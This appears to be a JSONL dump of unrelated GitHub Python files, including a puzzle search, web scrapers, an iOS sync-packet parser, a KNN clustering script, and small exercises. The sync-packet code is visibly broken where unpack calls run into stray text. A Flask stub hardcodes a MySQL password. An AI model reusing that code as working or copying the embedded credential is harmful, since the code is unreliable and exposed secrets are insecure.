stateSearch([sState],goal,path)\r\n\r\ndef stateSearch(states,goal,path):\r\n if states == []:\r\n print(states)\r\n return states\r\n \r\n elif goal == states[0]:\r\n print(goal+path)\r\n return goal + path\r\n \r\n elif (states[0] in path) == True: #cycle checker\r\n stateSearch(states[1:],goal,path)\r\n \r\n else:\r\n result = stateSearch(newMoves(states[0]),goal,states[0]+path)\r\n \r\n if result != []:\r\n return result #trippy recursion\r\n else:\r\n stateSearch(states[1:],goal,path)\r\n\r\n \r\n#generate new moves\r\ndef newMoves(board):\r\n allMoves = []\r\n for i in range(len(board)):\r\n for j in range(len(board)):\r\n if i == 0 or i == 1: #if any tile in the first or second row is ontop of a one, swap them\r\n if board[i+1][j] == 0: \r\n allMoves.append(downSlide(i,j,board))\r\n if i == 1 or i == 2: #if any tile in the 2nd or 3rd row is below a zero, swap them\r\n if board[i-1][j] == 0:\r\n allMoves.append(upSlide(i,j,board))\r\n if j == 0 or j == 1: #if any tile in the 1st or 2nd column is to the left of a zero, swap\r\n if board[i][j+1] == 0:\r\n allMoves.append(rightSlide(i,j,board))\r\n if j == 1 or j == 2: #if any tile in the 2nd or 3rd column is to the right of a zero, swap\r\n if board[i][j-1] == 0:\r\n allMoves.append(leftSlide(i,j,board))\r\n return allMoves\r\n\r\n#tile moving functions\r\ndef downSlide(i,j,board):\r\n newBoard = board\r\n temp = newBoard[i][j]\r\n newBoard[i][j] = newBoard[i+1][j]\r\n newBoard[i+1][j] = temp\r\n return newBoard\r\n\r\ndef upSlide(i,j,board):\r\n newBoard = board\r\n temp = newBoard[i][j]\r\n newBoard[i][j] = newBoard[i-1][j]\r\n newBoard[i-1][j] = temp\r\n return newBoard\r\n\r\ndef rightSlide(i,j,board):\r\n newBoard = board\r\n temp = newBoard[i][j]\r\n newBoard[i][j] = newBoard[i][j+1]\r\n newBoard[i][j+1] = temp\r\n return newBoard\r\n\r\ndef leftSlide(i,j,board):\r\n newBoard = board\r\n temp = newBoard[i][j]\r\n newBoard[i][j] = newBoard[i][j-1]\r\n newBoard[i][j-1] = temp\r\n return newBoard\r\n\r\n\r\n\r\nsolve8Tile([[1,0,3],[8,2,4],[7,6,5]],[[1,2,3],[8,0,4],[7,6,5]])\r\n","repo_name":"Jonasgrove/state_base_search_tiles","sub_path":"tileStateSeatch.py","file_name":"tileStateSeatch.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"11008177202","text":"# coding=utf-8\nimport re\nimport requests\nfrom lxml import etree\n\nheaders = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Ap\\\npleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Sa\\\nfari/537.36\"\n}\nurl = r\"https://zh.wikisource.org/zh-hans/脂硯齋重評石頭記\"\n\nresponse = requests.get(url, headers=headers).text\n\n# html = etree.HTML(response)\n#\n# result1=html.xpath(\"//li/a/@title\") #获取所有span标签的信息\n# result2 = html.xpath(\"//li/text()\") # 获取所有span标签的信息\n#\n# for i in range(0, len(result2)):\n# print(result1[i]+result2[i])\n\npat1=r'title=\"脂砚斋重评石头记/(.*?)\">第[\\s\\S]*?回
 [\\s\\S]*?'\npat2=r'title=\"脂砚斋重评石头记/第[\\s\\S]*?回\">第[\\s\\S]*?回 (.*?)'\n\npattern1=re.compile(pat1)\npattern2=re.compile(pat2)\n\ndata1=pattern1.findall(response)\ndata2=pattern2.findall(response)\n\n\nresultlist=[]\nfor i in range(0,len(data1)):\n\t# resultlist.append(data1[i]+data2[i])\n print(data1[i],data2[i])","repo_name":"zhaoyingchuan/python3-spider","sub_path":"4.获取维基文库中书籍的目录.py","file_name":"4.获取维基文库中书籍的目录.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"25667071185","text":"import datetime as dt\nimport re\n\nimport scrapy\nfrom bs4 import BeautifulSoup as bs\n\nMEETING_URL = \"http://gamli.rvk.is/vefur/owa/{}\"\nYEAR_URL = \"http://gamli.rvk.is/vefur/owa/edutils.parse_page?nafn=BN2MEN{}\"\nYEARS = [\n # \"96\",\n # \"97\",\n # \"98\",\n # \"99\",\n # \"00\",\n # \"01\",\n # \"02\",\n # \"03\",\n # \"04\",\n # \"05\",\n # \"06\",\n # \"07\",\n # \"08\",\n # \"09\",\n # \"10\",\n # \"11\",\n # \"12\",\n # \"13\",\n # \"14\",\n # \"15\",\n # \"16\",\n # \"17\",\n # \"18\",\n # \"19\",\n # \"20\",\n \"21\",\n]\n\nMONTHS = [\n (u\"jan\", u\"janúar\"),\n (u\"feb\", u\"febrúar\"),\n (u\"mar\", u\"mars\"),\n (u\"apr\", u\"apríl\"),\n (u\"maí\", u\"maí\"),\n (u\"jún\", u\"júní\"),\n (u\"júl\", u\"júlí\"),\n (u\"ágú\", u\"ágúst\"),\n (u\"sep\", u\"september\"),\n (u\"okt\", u\"október\"),\n (u\"nov\", u\"nóvember\"),\n (u\"des\", u\"desember\"),\n]\n\n\ndef get_minutes(response):\n soup = bs(response.text, \"html5lib\")\n links = soup.find_all(href=re.compile(\"edutils.parse_page\"))\n for i, link in enumerate(links):\n data = {}\n els = link.parent.previous_sibling.text.split(\"\\n\")\n serial = els.pop(0).strip().replace(\"Umsókn nr. \", \"\")\n if \" \" in serial:\n serial, stadgreinir = serial.split(\" \", 1)\n data[\"case_stadgreinir\"] = stadgreinir.strip(\"()\").split()[0]\n data[\"serial\"] = serial\n entities = [el for el in els[1:-1] if el]\n data[\"entities\"] = []\n for i in range(0, len(entities), 3):\n kennitala, name, address = entities[i : i + 3]\n data[\"entities\"].append(\n {\n \"kennitala\": kennitala.replace(\"-\", \"\").strip(),\n \"name\": name.strip(),\n \"address\": address.strip(),\n }\n )\n data[\"case_serial\"] = link.get(\"href\").split(\"=\")[-1:][0]\n case_address = link.text.strip()\n if '\">' in case_address:\n _, case_address = case_address.split('\">', 1)\n data[\"case_address\"] = case_address\n tegund = link.find_next(\"i\")\n data[\"headline\"] = tegund.text.strip()\n text = \"\"\n for el in tegund.find_next_siblings():\n if el.name == \"i\":\n break\n if not el.name == \"i\":\n try:\n text = text + str(el.next_sibling)\n except AttributeError:\n pass\n data[\"remarks\"] = \"\\n\".join(tegund.find_next(\"i\").stripped_strings)\n data[\"inquiry\"] = text.strip()\n yield data\n\n\nclass ReykjavikByggingarfulltruiSpider(scrapy.Spider):\n municipality_slug = \"reykjavik\"\n council_type_slug = \"byggingarfulltrui\"\n\n name = \"{}_{}\".format(municipality_slug, council_type_slug)\n\n def __init__(self, year=None, *args, **kwargs):\n super(ReykjavikByggingarfulltruiSpider, self).__init__(*args, **kwargs)\n if year is None:\n self.start_urls = [YEAR_URL.format(year) for year in YEARS]\n else:\n self.start_urls = [YEAR_URL.format(year[-2:])]\n\n def parse(self, response):\n if not response.css(\"body>*\"):\n return\n index_year = int(response.css(\"h2::text\").re_first(r\"\\d+\"))\n for i, link in enumerate(response.css(\"menu a\")):\n # In some meeting reports the date is only available in the link index and\n # not in the meeting report itself, so parse and pass it down in cb_kwargs\n cb_kwargs = {}\n match = re.search(r\"(\\d{2})\\.(\\d{2}).(\\d{4})\\)$\", link.css(\"::text\").get())\n if match is not None:\n day, month, year = [int(m) for m in match.groups()]\n if year == index_year:\n # Sometimes there is a bullshit year (like 1899), don’t pass date\n # if that’s the case\n cb_kwargs = {\"start\": dt.datetime(year, month, day, 0, 0)}\n yield response.follow(link, self.parse_meeting, cb_kwargs=cb_kwargs)\n\n def parse_meeting(self, response, start=None):\n description = (\n response.xpath(\"//center[1]/following-sibling::text()[2]\").get().strip(\"\\r\")\n )\n\n match = re.search(\n r\"Árið (\\d+), (\\w+) (\\d+)\\. (\\w+) kl\\. (\\d+):(\\d+)\", description\n )\n if match is not None:\n year, _, day, month, hour, minute = match.groups()\n for i, (short, long_) in enumerate(MONTHS, 1):\n if month.lower() == long_.lower():\n month = i\n break\n start = dt.datetime(*(int(i) for i in (year, month, day, hour, minute)))\n else:\n if start is None:\n raise Exception(\n \"Not date found for item\"\n ) # And not in referral page either\n\n name, _ = re.match(\n r\"(\\d+)\\. fundur (\\d+)\",\n (\n response.xpath(\"//center[1]/h2/following-sibling::text()[1]\")\n .get()\n .strip(\"\\r\")\n ),\n ).groups()\n\n yield {\n \"url\": response.url,\n \"name\": name,\n \"start\": start,\n \"description\": description,\n \"minutes\": list(get_minutes(response)),\n }\n","repo_name":"planitor/planitor","sub_path":"scrape/spiders/reykjavik_byggingarfulltrui.py","file_name":"reykjavik_byggingarfulltrui.py","file_ext":"py","file_size_in_byte":5248,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"34838658463","text":"# Animal class - part 1\n# A basic class. Not fully encapsulated.\n\nclass Animal(object):\n \"\"\"An animal class\"\"\"\n\n def __init__(self, name):\n self.legs = 4\n self.awake = True\n self.position = [0, 0]\n self.name = name\n self.alive = True\n\n def death(self):\n self.alive = not self.alive\n if self.alive:\n state = 'is alive'\n else:\n state = 'is dead'\n print(self.name, state)\n\n def toggle_sleep(self):\n \"\"\"Toggles animal between awake and asleep\"\"\"\n self.awake = not self.awake\n if self.awake:\n state = 'is awake.'\n else:\n state = 'is asleep'\n print(self.name, state)\n\n def move(self, a, b):\n \"\"\"Moves animal from current position by\n a in x-direction, b in y-direction\"\"\"\n try:\n self.position[0] += a\n self.position[1] += b\n return True\n except:\n print('Invalid a,b:', (a, b))\n print('Postion left unchanged')\n return False\n\n def locate(self):\n print('The animal {0} is at {1}, {2}.'.format(self.name,\n self.position[0],\n self.position[1]))\n return self.position\n\n\ncat = Animal('Fluffy')\ndog = Animal('Jimmy')\ndragon = Animal('Smaug')\nprint(dragon.legs)\ndragon.legs = 2\nprint(dragon.legs)\n","repo_name":"srijan-vaddadi/main-code","sub_path":"Mrs Scorer/Programming Basics/animal_part_1.py","file_name":"animal_part_1.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"74072156535","text":"\"\"\" 需要同步并进行数据回调的包\n\"\"\"\n\nimport enum\nimport struct\n\nfrom .coremedia import CMTime\nfrom .coremedia.AudioStream import AudioStreamBasicDescription\nfrom .coremedia.common import NSNumber\nfrom .coremedia.serialize import SerializeStringKeyDict, new_string_dict_from_bytes, parse_header\n\n\ndef parse_sync_header(buffer, message_magic):\n remainingBytes, clockRef = parse_header(buffer, SyncConst.SyncPacketMagic, message_magic)\n correlationID = struct.unpack('> ClockRef:{self.ClockRef}, CorrelationID:{self.CorrelationID}\"\n\n\ndef clock_ref_reply(clockRef, CorrelationID):\n packet_bytes = b''\n packet_bytes += struct.pack('> ClockRef:{self.ClockRef} CorrelationID:{self.CorrelationID} AudioStreamBasicDescription:{self.AudioStreamBasicDescription}'\n\n def to_bytes(self):\n _data = {'Error': NSNumber(3, 0)}\n dictBytes = SerializeStringKeyDict(_data).to_bytes()\n dictLength = len(dictBytes)\n _length = dictLength + 20\n packet_bytes = b''\n packet_bytes += struct.pack('> ClockRef:{self.ClockRef}, CorrelationID:{self.CorrelationID}\"\n\n\nclass SyncCvrpPacket(SyncPacket):\n messageMagic = SyncConst.CVRP\n\n def __init__(self, ClockRef, CorrelationID, DeviceClockRef=None, Payload=None):\n super().__init__(ClockRef, CorrelationID)\n self.ClockRef = ClockRef\n self.CorrelationID = CorrelationID\n self.DeviceClockRef = DeviceClockRef\n self.Payload = Payload\n\n def to_bytes(self, clockRef):\n return clock_ref_reply(clockRef, self.CorrelationID)\n\n @classmethod\n def from_bytes(self, buffer):\n remainingBytes, ClockRef, CorrelationID, = parse_sync_header(buffer, SyncConst.CVRP)\n Payload = new_string_dict_from_bytes(remainingBytes[8:])\n DeviceClockRef = struct.unpack('> ClockRef:{self.ClockRef}, CorrelationID:{self.CorrelationID}, DeviceClockRef:{self.DeviceClockRef}, Payload:{self.Payload}\"\n\n\nclass SyncCwpaPacket(SyncPacket):\n messageMagic = SyncConst.CWPA\n\n def __init__(self, ClockRef, CorrelationID, DeviceClockRef=None):\n super().__init__(ClockRef, CorrelationID)\n self.ClockRef = ClockRef\n self.CorrelationID = CorrelationID\n self.DeviceClockRef = DeviceClockRef\n\n def to_bytes(self, clockRef):\n return clock_ref_reply(clockRef, self.CorrelationID)\n\n @classmethod\n def from_bytes(self, buffer):\n remainingBytes, ClockRef, CorrelationID, = parse_sync_header(buffer, SyncConst.CWPA)\n DeviceClockRef = struct.unpack('> ClockRef:{self.ClockRef}, CorrelationID:{self.CorrelationID}, DeviceClockRef:{self.DeviceClockRef}\"\n\n\nclass SyncOGPacket(SyncPacket):\n messageMagic = SyncConst.OG\n\n def __init__(self, ClockRef, CorrelationID, Unknown=None):\n super().__init__(ClockRef, CorrelationID)\n self.ClockRef = ClockRef\n self.CorrelationID = CorrelationID\n self.Unknown = Unknown\n\n def to_bytes(self):\n packet_bytes = b''\n packet_bytes += struct.pack('> ClockRef:{self.ClockRef}, CorrelationID:{self.CorrelationID}, DeviceClockRef:{self.Unknown}\"\n\n\nclass SyncSkewPacket(SyncPacket):\n messageMagic = SyncConst.SKEW\n\n def __init__(self, ClockRef, CorrelationID):\n super().__init__(ClockRef, CorrelationID)\n self.ClockRef = ClockRef\n self.CorrelationID = CorrelationID\n\n def to_bytes(self, skew):\n packet_bytes = b''\n packet_bytes += struct.pack(' %s\" % (src_sig, dst_sig)\n\n feat = Feat(Feat.METHOD_EDGE, edge_sig)\n self.features.append(feat)\n\n\n","repo_name":"cuplv/biggroum","sub_path":"python/fixrgraph/stat_sig/feat.py","file_name":"feat.py","file_ext":"py","file_size_in_byte":3840,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"22"} +{"seq_id":"28119420360","text":"class Solution(obj):\n def constructRectangle(self, area):\n '''\n :type area: int\n :rtype: List[int]\n '''\n import math\n s=int(math.sqrt(area))\n l=[i for i in range(1,s+1) if area % i==0 and i<=s][-1]\n return(int(area/l),l)\n","repo_name":"truanter/LeetCodeInPython","sub_path":"ConstructTheRectangle.py","file_name":"ConstructTheRectangle.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"15920171005","text":"import requests\nimport os\n\n\ndef download_file(link, directory, filename):\n if os.path.exists(os.path.join(directory, filename)):\n print(\"File exists, skipping\")\n return\n\n if not os.path.exists(directory):\n path = directory.split(os.sep)\n for i in range(1, len(path) + 1):\n sub_dir = os.path.join(*path[:i])\n if not os.path.exists(sub_dir):\n os.makedirs(sub_dir)\n\n with open(os.path.join(directory, filename), 'wb') as f:\n f.write(requests.get(link).content)\n f.close()\n\n\ndef get_bird_json(bird_name, recording_quality, number_of_recordings):\n api_base_link = \"https://xeno-canto.org/api/2/recordings?query=\"\n quality_header = \"q:\"\n bird_name = \"+\".join(bird_name.split(\" \"))\n\n final_json = []\n\n for quality in recording_quality:\n print(\"Getting recordings data for\", bird_name, \"with quality\", quality)\n api_link = api_base_link + bird_name + \"+\" + quality_header + quality\n json_recording = requests.get(api_link).json()[\"recordings\"]\n final_json.extend(json_recording)\n\n final_json = [recording for recording in final_json if \"song\" in recording[\"type\"]]\n return final_json[:number_of_recordings]\n\n\ndef download_from_bird_json_infos(recordings_folder, bird_json):\n len_bird_recordings = len(bird_json)\n for index, recording in enumerate(bird_json):\n print(\"Downloading file:\", index + 1, \"out of\", len_bird_recordings, \"(\", recording[\"file-name\"], \")\")\n download_file(recording[\"file\"], os.path.join(recordings_folder, recording[\"gen\"] + \"_\" + recording[\"sp\"]),\n recording[\"q\"] + \"_\" + recording[\"file-name\"])","repo_name":"FlorianLatapie/PNS-SI4-S8_Capteurs_actionneurs_-_IA","sub_path":"TP_IA/Projet/download_dataset.py","file_name":"download_dataset.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"9670469708","text":"def find_boundary(arr):\n left, right = 0, len(arr)-1\n boundary_index = -1\n while left <= right:\n mid = (left+right)//2\n if arr[mid] and not arr[mid-1]:\n return mid\n elif arr[mid]:\n boundary_index = mid\n right = mid-1\n else:\n left = mid+1\n\n return boundary_index\n","repo_name":"jungin-jin-choi/ps-leetcode","sub_path":"algods-crash/binary-search/binary-search-find-boundary.py","file_name":"binary-search-find-boundary.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"9437453921","text":"#find the union and intersection of two sorted array\n\n#brute force\ndef find_union_intersection_brute(arr1, arr2):\n inter=[]\n for i in arr1:\n if i in arr2:\n inter.append(i)\n return inter, arr1+arr2\n\n#ths doesnt handle dups if found in any array\ndef find_union_intersection(arr1, arr2):\n l=0\n r=0\n inter=[]\n union= []\n while larr2[r]:\n union.append(arr2[r])\n r+=1\n else:\n union.append(arr1[l])\n l+=1\n while l < len(arr1):\n union.append(arr1[l])\n l += 1\n \n while r < len(arr2):\n union.append(arr2[r])\n r += 1\n\n return inter, union\n\n\nif __name__ == '__main__':\n print(find_union_intersection([1,2,3],[1,2,4]))\n\n\n","repo_name":"suyash2796/CSCognisanse","sub_path":"arrays/python/union_and_intersection_array.py","file_name":"union_and_intersection_array.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"29116490377","text":" \n#Deadpool\n#Hulk\n#IronMan\n#CaptainAmerica\n\n# saglik = 100\n# savunma = 5\n# vurus = 10\n# yetenek = \"Onarım\"\n# kiyafet = True\n\n# def Vurus():\n# global saglik \n# saglik -= vurus\n# return saglik\n\n# def Savunma():\n# global saglik\n# saglik += savunma\n# return saglik\n\n\n\n# class MarvelHero():\n# saglik = 100\n# savunma = 5\n# vurus = 10\n# yetenek = \"Onarım\"\n# kiyafet = True\n# ad = \"\"\n\n# def Savunma():\n# global saglik\n# saglik += savunma\n# return saglik\n\n# def Vurus():\n# global saglik \n# saglik -= vurus\n# return saglik\n\n# deadPool = MarvelHero()\n# deadPool.ad = \"Deadpool\"\n# deadPool.saglik = 200\n# Hulk = MarvelHero()\n# Hulk.ad = \"Hulk\"\n# print(Hulk.ad)\n# print(deadPool.ad)\nclass MarvelHero():\n oyunKarakteri = \"Marvel\"\n def __init__(self,ad,saglik,savunma,vurus,yetenek):\n #instance attributes\n self.saglik = saglik\n self.savunma = savunma\n self.vurus = vurus\n self.ad = ad\n self.yetenek = yetenek\n self.kiyafet = True\n\n\n #instance Method\n def Savunma(self):\n self.saglik += self.savunma\n print(self.ad,\" Kendini {} oranında savundu\".format(self.savunma))\n\n def Vurus(self,darbe):\n self.saglik -= darbe\n print(self.ad,\"{} oranında darbe aldı saglik {}\".format(darbe,self.saglik))\n\n\n\n\n\n\n\n# print(\"Deadpool\",deadpool.saglik)\n# MarvelHero.oyunKarakteri = \"Stan Lee\"\n# print(Hulk.saglik)\n# deadpool.Vurus(Hulk.vurus)\n# print(Hulk.saglik)\n\n# MarvelHero.ad\n","repo_name":"vektorelpython/Python8","sub_path":"OOP/OOP2.py","file_name":"OOP2.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"tr","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"4448560917","text":"import pickle\nimport numpy as np\nimport nmslib\nimport os\n\ndef load_feats(fn, feature_dim=256):\n return np.fromfile(fn, dtype=np.float32).reshape(-1, feature_dim)\n\ndef knn_nmslib(feats, m, k, output_dir):\n fn = output_dir + '/' + m + '.pkl'\n if not os.path.isfile(fn):\n print(\"\\nSearch KNN for {}\".format(m))\n index = nmslib.init(method='hnsw', space='cosinesimil')\n index.addDataPointBatch(feats)\n index.createIndex({'post': 2}, print_progress=True)\n neighbours = index.knnQueryBatch(feats, k=k, num_threads=48)\n with open(fn, 'wb') as f:\n pickle.dump(neighbours, f)\n print(\"\\n\")\n else:\n print(\"KNN file already exists: {}\".format(fn))\n\ndef get_hist(topk):\n hist = {}\n for t in topk:\n for i in t:\n if i not in hist.keys():\n hist[i] = 1\n else:\n hist[i] += 1\n return hist\n\ndef fill_array(array, fill, length):\n assert length >= array.shape[0], \"Cannot fill\"\n if length == array.shape[0]:\n return array\n array2 = fill * np.ones((length), dtype=array.dtype)\n array2[:array.shape[0]] = array\n return array2\n\ndef create_knn(args):\n members = args.committee + [args.base]\n output_dir = '../data/{}/knn/'.format(args.data_name)\n\n if not os.path.isdir(output_dir):\n os.makedirs(output_dir)\n with open(\"../data/{}/{}.txt\".format(args.data_name, args.data_name), 'r') as f:\n fns = f.readlines()\n args.total_num = len(fns)\n\n # check feature files exist\n for m in members:\n if not os.path.isfile('../data/{}/features/{}.bin'.format(args.data_name, m)):\n raise Exception('Feature file not exist: data/{}/features/{}.bin'.format(args.data_name, m))\n\n # create knn files with nmslib\n print(\"KNN Processing\")\n for m in members:\n feats = load_feats('../data/{}/features/{}.bin'.format(args.data_name, m), args.feat_dim)\n assert feats.shape[0] == args.total_num, \"Feature length of [{}] not consistent with list file, {} vs {}\".format(m, feats.shape[0], args.total_num)\n knn_nmslib(feats, m, args.k, output_dir)\n","repo_name":"Hanqer/cdp_based_clustering","sub_path":"cdp/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":2145,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"} +{"seq_id":"10372277342","text":"import random\r\n\r\nclass Cadastro:\r\n def __init__(self):\r\n self._funcionarios = []\r\n\r\n @property\r\n def funcionarios(self):\r\n return self._funcionarios\r\n\r\n def add_funcionario(self, funcionario):\r\n self._funcionarios.append(funcionario)\r\n\r\n def analise(self):\r\n if len(self._funcionarios) == 10:\r\n return True\r\n\r\n if len(self._funcionarios) % 3 == 0:\r\n for funcionario in self.funcionarios:\r\n funcionario.salario = funcionario.salario + (funcionario.salario * 5 / 100)\r\n\r\n\r\nclass Funcionario:\r\n def __init__(self, nome, salario):\r\n self._nome = nome\r\n self._salario = salario\r\n\r\n @property\r\n def nome(self):\r\n return self._nome\r\n\r\n @property\r\n def salario(self):\r\n return self._salario\r\n\r\n @salario.setter\r\n def salario(self, value):\r\n self._salario = value\r\n\r\n\r\ndef main():\r\n cadastro = Cadastro()\r\n\r\n while not cadastro.analise():\r\n nome_funcionario = input('Digite o nome do funcionário: ')\r\n salario_funcionario = float(input('Digite o salário do funcionário: '))\r\n funcionario = Funcionario(nome_funcionario, salario_funcionario)\r\n cadastro.add_funcionario(funcionario)\r\n\r\n print('---------------------------------')\r\n for funcionario in cadastro.funcionarios:\r\n print(f'Funcionario: {funcionario.nome}\\nSalário: {funcionario.salario}')\r\n print('---------------------------------\\n')\r\n\r\n sorteado = cadastro.funcionarios[random.randint(0,9)]\r\n salario_sorteado = sorteado.salario + (sorteado.salario * 10 / 100)\r\n sorteado.salario = salario_sorteado\r\n\r\n print('---------------------------------')\r\n print(f'O sorteado foi: {sorteado.nome}\\nSeu salário aumentou para: {salario_sorteado}')\r\n print('---------------------------------')\r\n\r\n print('---------------------------------')\r\n for funcionario in cadastro.funcionarios:\r\n print(f'Funcionario: {funcionario.nome}\\nSalário: {funcionario.salario}')\r\n print('---------------------------------')\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"jskescola/exercicios_python_2","sub_path":"cha1.py","file_name":"cha1.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"7434288929","text":"import pandas as pd\nfrom Quiz_class import Quiz\n\n\ndef main():\n # Load quiz data\n quiz_data = pd.read_csv('all_qiuzable_roles.csv')\n quiz = Quiz(quiz_data)\n\n playing = True\n\n while playing:\n quiz.take_quiz()\n\n while True:\n play_again = input(\"\\n\\nDo you want to play again? (yes/no): \").strip().lower()\n if play_again == 'yes':\n break\n elif play_again == 'no':\n playing = False\n print(\"\\n\\nThank you for playing!\")\n break\n else:\n print(\"\\nPlease insert a valid answer!\")\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"sergiopicascia/dscoding-projects","sub_path":"Karan.Kooshavar/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"22"} +{"seq_id":"8236403801","text":"class Solution:\n def findKthPositive(self, arr: List[int], k: int) -> int:\n left, right = 0, len(arr)\n while left < right:\n mid = math.floor((left + right)/2)\n if arr[mid] - mid - 1 < k:\n left = mid + 1\n else:\n right = mid\n print(mid, right, left)\n return left + k\n#[2,3,4,7,11]\n#[1,1,1,3,6] mid = 2 < 5 l = 3\n# 0,1,2,3,4\n#[3,6] mid = 3 < 5 l = 4\n# 3,4\n# 4+ 5 = 9\n\n ","repo_name":"znamazbayeva/leetcode","sub_path":"1539-kth-missing-positive-number/1539-kth-missing-positive-number.py","file_name":"1539-kth-missing-positive-number.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"36456080229","text":"import time\n\nclass VirtualPet:\n def __init__(self, name):\n self.name = name\n self.hunger = 0\n self.happiness = 10\n\n def feed(self):\n print(f\"{self.name} is being fed...\")\n time.sleep(1)\n self.hunger -= 1\n print(f\"{self.name} is no longer hungry.\")\n\n def play(self):\n print(f\"Playing with {self.name}...\")\n time.sleep(2)\n self.happiness += 1\n print(f\"{self.name} is happy.\")\n\n def display_status(self):\n print(f\"Status of {self.name}:\")\n print(f\"Hunger: {self.hunger}\")\n print(f\"Happiness: {self.happiness}\")\n\ndef main():\n pet = VirtualPet(\"Fluffy\")\n\n # Feed the pet\n pet.feed()\n\n # Play with the pet\n pet.play()\n\n # Display the pet's status\n pet.display_status()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ThomasBootman/VirtualPetSimulator.py","sub_path":"VirtualPetSimulator.py","file_name":"VirtualPetSimulator.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"1113216552","text":"from aoc.tools import read_input\n\npath = \"2020/data/day12.txt\"\n\ndef parse_instructions(path):\n # get coordinate\n data = read_input(path)\n return [(row[0], int(row[1:])) for row in data]\n\ninstr = parse_instructions(path)\n\n# instr = [(\"F\", 10),\n# (\"N\", 3), (\"F\", 7),\n# (\"R\", 90),\n# (\"F\", 11)\n# ]\n\ndelta_x = {\"N\": 0, \"S\": 0, \"E\": 1, \"W\": -1}\ndelta_y = {\"N\": 1, \"S\": -1, \"E\": 0, \"W\": 0}\nangle_to_direction = {0: \"E\", 90: \"S\", 180: \"W\", 270: \"N\"}\nx, y = 0, 0\nangle = 0\nfor direction, unit in instr:\n if direction == \"F\":\n cur_dir = angle_to_direction[angle]\n x += unit * delta_x[cur_dir]\n y += unit * delta_y[cur_dir]\n elif direction == \"L\":\n angle = (angle - unit) % 360\n elif direction == \"R\":\n angle = (angle + unit) % 360\n else:\n x += unit * delta_x[direction]\n y += unit * delta_y[direction]\n\nprint(abs(x) + abs(y))\n\nway_point= [10, 1]\nship = [0, 0]\nfor direction, unit in instr:\n if direction == \"F\":\n ship[0] += way_point[0] * unit\n ship[1] += way_point[1] * unit\n elif direction == \"L\":\n turning = {90: [-way_point[1], way_point[0]],\n 180: [-way_point[0], -way_point[1]],\n 270: [way_point[1], -way_point[0]]}\n way_point = turning[unit]\n elif direction == \"R\":\n turning = {90: [way_point[1], -way_point[0]],\n 180: [-way_point[0], -way_point[1]],\n 270: [-way_point[1], way_point[0]]}\n way_point = turning[unit]\n else:\n way_point[0] += unit * delta_x[direction]\n way_point[1] += unit * delta_y[direction]\n\nprint(abs(ship[0]) + abs(ship[1]))","repo_name":"htwangtw/advent-of-code","sub_path":"2020/day12.py","file_name":"day12.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"35368903111","text":"\nimport sys\nimport pygame\n\n\n'''THIS SECTION OF CODE IS TO DEFINE THE INTERFACE WHEN THE GAME IS OVER'''\n\n\ndef showEndGameInterface(screen, exitcode, accuracy, game_images):\n \"\"\" DETERMINES THE FONT OF THE TXT AND ITS COLOR AS WELL\"\"\"\n font = pygame.font.Font(None, 44)\n text = font.render(f\"Accuracy: {accuracy}%\", True, (255, 0, 0))\n text_rect = text.get_rect()\n\n '''SET THE LOCATION OF THE TEXT THAT SHOWS ACCURACT '''\n text_rect.centerx = screen.get_rect().centerx + 180\n text_rect.centery = screen.get_rect().centery + 180\n while True:\n screen.fill(0)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n if exitcode:\n screen.blit(game_images['youwin'], (0, 0))\n else:\n screen.blit(game_images['gameover'], (0, 0))\n screen.blit(text, text_rect)\n pygame.display.flip()\n","repo_name":"ppanta009/Save-The-Nuts","sub_path":"modules/interfaces.py","file_name":"interfaces.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"31578663599","text":"from flask import Flask, request, url_for, redirect, abort, render_template\n\nimport mysql.connector\n\nmydb = mysql.connector.connect(\n host=\"localhost\",\n user=\"root\",\n password=\"jonulo321\",\n database=\"prueba\"\n)\n\ncursor = mydb.cursor(dictionary=True)\n\napp = Flask(__name__)\n\n# Get TABLE DATA (structure/for info)\ncursor.execute('show create table Usuario')\nresult = 